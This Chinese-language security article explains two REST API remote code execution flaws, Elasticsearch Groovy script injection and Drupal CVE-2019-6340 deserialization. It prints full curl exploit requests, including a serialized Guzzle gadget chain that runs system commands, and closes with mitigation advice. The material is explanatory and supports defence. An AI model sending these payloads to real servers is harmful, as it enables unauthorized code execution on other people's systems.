Web REST API 远程代码执行漏洞深度解析
Elasticsearch 脚本引擎远程代码执行漏洞
在早期的 Elasticsearch 版本中,脚本引擎(如 Groovy)存在安全限制绕过风险,允许攻击者通过特定构造的 REST 请求在服务器上执行任意代码。以下示例展示了如何利用 _search 端点的 script_fields 属性触发 Java 反射调用,从而执行系统命令。
curl -X POST 'http://192.168.1.100:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"script_fields": {
"exploit_result": {
"lang": "groovy",
"script": "java.lang.Runtime.getRuntime().exec(\"id\").getText()"
}
}
}'
此外,攻击者通常先通过普通的文档写入操作测试 API 的可用性:
curl -X POST 'http://127.0.0.1:9200/sys_logs/audit/' \
-H 'Content-Type: application/json' \
-d '{"status":"active", "msg":"health_check"}'
Drupal REST 模块远程代码执行漏洞 (CVE-2019-6340)
当 Drupal 核心的 RESTful Web Services 模块开启,且允许 hal_json 格式的数据交互时,如果后端处理中涉及非安全的反序列化操作,攻击者可以构造包含恶意序列化对象的 POST 请求。该漏洞通常利用 Guzzle 库中的 FnStream 或 HandlerStack 类链来触发代码执行。
以下是一个构造的恶意 HAL+JSON 请求,其 link 字段中包含了经过精心构造的 PHP 序列化字符串,旨在执行 uname -a 命令:
curl -X POST "http://target-drupal-site.com/node/?_format=hal_json" \
-H "Content-Type: application/hal+json" \
-H "Cache-Control: no-cache" \
-d '{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:8:\"uname -a\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://target-drupal-site.com/rest/type/shortcut/default"
}
}
}'
在安全防御实践中,建议针对此类风险采取以下措施:
- Elasticsearch: 禁用动态脚本(设置
script.inline: false或script.indexed: false),并升级到具有更强沙箱机制(如 Painless)的版本。 - Drupal: 及时更新核心补丁,并严格限制 REST 资源的可访问性,对传入的序列化数据进行严格校验。